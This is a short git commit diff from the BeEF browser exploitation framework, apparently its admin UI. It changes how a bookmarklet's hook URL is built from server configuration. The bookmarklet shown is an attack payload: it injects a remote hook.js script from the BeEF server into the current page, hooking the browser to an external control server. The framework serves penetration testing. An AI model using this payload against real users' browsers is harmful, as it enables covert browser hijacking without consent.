AdminUI: Use correct hook file path for bookmarlet hook URL

This commit is contained in:
Brendan Coles
2021-05-08 14:06:25 +00:00
parent fc6ae645d9
commit 5a65f1610e

View File

@@ -6,9 +6,16 @@
WelcomeTab = function() {
var hookURL = location.protocol+'%2f%2f'+location.hostname+(location.port ? ':'+location.port : '')+'%2fhook.js';
var bookmarklet = "javascript:%20(function%20()%20{%20var%20url%20=%20%27__HOOKURL__%27;if%20(typeof%20beef%20==%20%27undefined%27)%20{%20var%20bf%20=%20document.createElement(%27script%27);%20bf.type%20=%20%27text%2fjavascript%27;%20bf.src%20=%20url;%20document.body.appendChild(bf);}})();"
bookmarklet = bookmarklet.replace(/__HOOKURL__/,hookURL);
<%
@configuration = BeEF::Core::Configuration.instance
beef_proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http";
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
beef_hook = @configuration.get("beef.http.hook_file")
hook_url = "#{beef_proto}://#{beef_host}:#{beef_port}/#{beef_hook}"
%>
var bookmarklet = "javascript:%20(function%20()%20{%20var%20url%20=%20%27<%= hook_url %>%27;if%20(typeof%20beef%20==%20%27undefined%27)%20{%20var%20bf%20=%20document.createElement(%27script%27);%20bf.type%20=%20%27text%2fjavascript%27;%20bf.src%20=%20url;%20document.body.appendChild(bf);}})();"
welcome = " \
<div style='font:11px tahoma,arial,helvetica,sans-serif;width:500px' > \